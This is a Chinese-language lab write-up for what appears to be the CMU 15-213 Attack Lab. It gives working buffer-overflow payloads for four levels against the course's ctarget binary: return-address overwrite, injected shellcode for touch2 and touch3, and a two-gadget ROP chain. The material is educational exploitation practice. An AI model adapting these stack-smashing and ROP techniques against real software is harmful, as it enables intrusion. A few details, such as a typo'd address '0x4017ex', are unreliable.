缓冲区溢出漏洞攻击实验
该实验的内容主要为利用一个缓冲区溢出漏洞,来修改一个二进制可执行文件的运行时行为,将栈中调用函数的返回地址修改成另一个函数的起始地址来执行自己的代码。
预备知识:
有如下函数:
1 2 3 4 5 6
| void echo() { char buf[18]; gets(buf); puts(buf); }
|
当调用者函数调用echo()时,栈中的内容如下:
| 地址 |
内容 |
| %rsp + 0x2c |
caller函数的栈帧 |
| %rsp + 0x24 |
Return Address |
| …… |
|
| %rsp + 0x08 |
未使用的栈区 |
| buf = %rsp |
[0][1][2][3][4][5][6][7] |
由于Gets()函数不检查输入字符串的长度,因此可以输入任意长度的字符串,最后覆盖%rsp + 0x24 处的返回地址,进而修改可执行文件的运行行为。如果Return Address的值为某个函数的起始地址,就可以执行自己的代码。
第一关
将Gets函数的返回地址从getbuf()函数改为touch1()函数。
执行Gets()时的内存地址:
| 地址 |
内容 |
| %rsp + 0x28 |
getbuf |
| %rsp + 0x20 |
|
| %rsp + 0x18 |
|
| %rsp + 0x10 |
|
| %rsp + 0x08 |
|
| %rsp + 0x00 |
|
要将%rsp + 0x28处的地址从getbuf改为touch1的地址。
现通过反汇编,通过汇编程序查看touch1的地址:
1
| objdum -d -x ./ctarget > ctarget.asm
|
发现为0x00000000004017c0,因此写入的字符串可以是:
1 2 3 4 5 6
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00
|
只用保证0x28偏移处的值依次为0xc0、0x17、0x40即可。
运行结果:
1 2 3 4 5 6 7 8 9
| ./hex2raw < ans1.txt | ./ctarget -q Cookie: 0x59b997fa Type string:Touch1!: You called touch1() Valid solution for level 1 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00
|
第二关
将Gets函数的返回地址从getbuf()函数改为touch2()函数,并且touch2()函数的参数为cookie值,保存在%rsp中。
这道题需要自己写一段代码,Gets()函数获取的字符串包含需要执行的代码。首先,执行Gets()时的内存地址:
| 地址 |
内容 |
| %rsp + 0x28 |
getbuf |
| %rsp + 0x20 |
|
| %rsp + 0x18 |
|
| %rsp + 0x10 |
|
| %rsp + 0x08 |
|
| %rsp + 0x00 |
|
我们希望将%rsp + 0x28处的getbuf地址改为%rsp,使用gdb查看此刻%rsp的值。getbuf函数如下:
1 2 3 4 5 6 7 8
| 00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 callq 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq
|
需要在0x4017b9设置断点:
1 2 3 4 5 6 7 8
| linux> gdb ./ctarget (gdb) b *0x4017b9 ... (gdb) run -q ... Breakpoint 1, 0x00000000004017b9 in getbuf () at buf.c:16 (gdb) p/x $rsp $1 = 0x5561dc78
|
因此%rsp的值为0x5561dc78,需要将getbuf地址改成这个值,防止返回getbuf()函数,然后从%rsp指向地址处的代码功能为:先将cookie的值0x59b997fa存入%rdi寄存器,然后跳转到touch2函数处,跳转可以用push $addr + retq两条指令实现,代码应写成:
1 2 3
| mov $0x59b997fa, %rdi pushq $0x4017ec retq
|
栈帧中的内容:
| 栈帧 |
地址 |
| 0x5561dc78 |
0x5561dca0 |
| … |
|
| … |
|
| ret |
|
| pushq $0x4017ec |
|
| mov $0x59b997fa, %rdi |
0x5561dc78 |
将上述代码翻译成二进制代码:
1 2 3 4 5 6 7
| linux> gcc -c ans2.s -o ans2.o linux> objdump -d ans2.o ... 0000000000000000 <.text>: 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 7: 68 ec 17 40 00 pushq $0x4017ec c: c3 retq
|
因此答案为:
1 2 3 4 5 6
| 48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00
|
运行结果:
1 2 3 4 5 6 7 8 9
| linux> ./hex2raw < ans2.txt | ./ctarget -q Cookie: 0x59b997fa Type string:Touch2!: You called touch2(0x59b997fa) Valid solution for level 2 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
|
第三关
在第二题基础上,返回地址从getbuf()函数改为touch3()函数,并且touch3()函数调用的hexmatch()函数返回正确的值,写入的内容除了上一题的mov、push和ret三条指令外,还需要向内存写入字符串,进入hexmatch()函数前将%rdi的值指向字符串。
执行到touch3()函数时,栈帧如下:
1 2 3 4 5 6 7
| (gdb) p/x $rsp $1 = 0x5561dca8 (gdb) x/16 $rsp - 0x30 0x5561dc78: 0xa8c7c748 0x685561dc 0x004018fa 0x000000c3 0x5561dc88: 0x00000000 0x00000000 0x00000000 0x00000000 0x5561dc98: 0x00000000 0x00000000 0x004018fa 0x00000000 0x5561dca8: 0x39623935 0x61663739 0x00000000 0x00000000
|
| 地址 |
内容 |
| 0x..dca0 |
touch3首地址 |
| 0x..dc98 |
|
| 0x..dc90 |
|
| 0x..dc88 |
|
| 0x..dc80 |
push & ret |
| 0x..dc78 |
mov |
执行hexmatch时,栈帧如下所示:
1 2 3 4 5 6 7 8
| (gdb) p/x $rsp $4 = 0x5561dc98 (gdb) x/20 $rsp - 0x30 0x5561dc68: 0x00000002 0x00000000 0x004017b4 0x00000000 0x5561dc78: 0xa8c7c748 0x685561dc 0x004018fa 0x000000c3 0x5561dc88: 0x00000000 0x00000000 0x00000000 0x00000000 0x5561dc98: 0x00401916 0x00000000 0x55586000 0x00000000 0x5561dca8: 0x39623935 0x61663739 0x00000000 0x00000000
|
| 地址 |
内容 |
栈指针 |
| 0x..dca0 |
0x…. |
|
| 0x..dc98 |
touch3返回地址 |
<-%rsp |
| 0x..dc90 |
|
|
| 0x..dc88 |
|
|
| 0x..dc80 |
push & ret |
|
| 0x..dc78 |
mov |
|
由于执行hexmatch函数时,栈区会管理临时变量,因此字符串的内容不能写在0x..dca0以下的地方,否则会被hexmatch函数的临时变量覆盖掉,因此,可以写在test()的栈帧里,也就是0x5561dca8处,因此第三题写入的内容可以是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| 48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00
/* cookie: 0x59b997fa */ /* touch3(): 0x4018fa */ /* 0000000000000000 <.text>: 0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi 7: 68 fa 18 40 00 pushq $0x4018fa c: c3 retq */
|
第四关
这一关是Return Oriented Programming (ROP)攻击,在ROP攻击中设置了栈随机化,所以不能像前面三个实验一样在确定的地址处插入代码。为了实现攻击,我们要在已经给定的代码中找到特定的指令序列,这些序列以ret结尾,我们把这些命令叫做gadget。
每一段gadget包含一系列指令字节,而且以ret结尾,跳转到下一个gadget,就这样连续的执行一系列的指令代码,对程序造成攻击。譬如给的示例:
1 2 3 4
| void setval_210(unsigned *p) { *p = 3347663060U; }
|
反汇编后得到它的指令字节编码:
1 2 3
| 0000000000400f15 <setval_210>: 400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi) 400f1b: c3 retq
|
这样我们就可以利用已经存在的程序,从中间提取出特殊的指令,得到一个gadget,每一段gadget包含一系列指令字节,而且以ret结尾,跳转到下一个gadget,就这样连续的执行一系列的指令代码。
为了让函数跳转到touch2()并且%rdi的值为cookie值,并且题目说需要使用到popq指令以及两个gadgets,因此推测这两个gadgets可能将栈里面写入的cookie值弹出到寄存器里面,再通过retq指令弹出栈里面的下一个gadget的地址,然后跳转到下一个gadget执行寄存器传送操作,再执行retq指令将栈里面的touch2()地址弹出,跳转到touch2()函数处执行。
题目说了gadget的范围在start_farm和mid_farm之间,观察他们之间的farm,可以看到下面两个gadget可以构成如上的功能:
1 2 3 4 5 6 7
| 00000000004019a0 <addval_273>: 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax // mov %rax, %rdi; retq 4019a6: c3 retq
00000000004019a7 <addval_219>: 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax // popq %rax; nop; retq 4019ad: c3 retq
|
先执行第二个gadget,再跳转到第一个gadget执行,然后执行touch2()函数。因此执行Gets()函数时,栈帧中的内容如下所示:
| 栈帧内容 |
| touch2: 0x4017ex |
| 第1个gadget地址: 0x4019a2 |
| cookie: 0x59b997fa |
| 第2个gadget地址: 0x4019ab |
| … |
| … |
| … |
| … |
| 输入字符串的起始地址 |
答案为:
1 2 3 4 5 6 7 8 9
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 a2 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00
|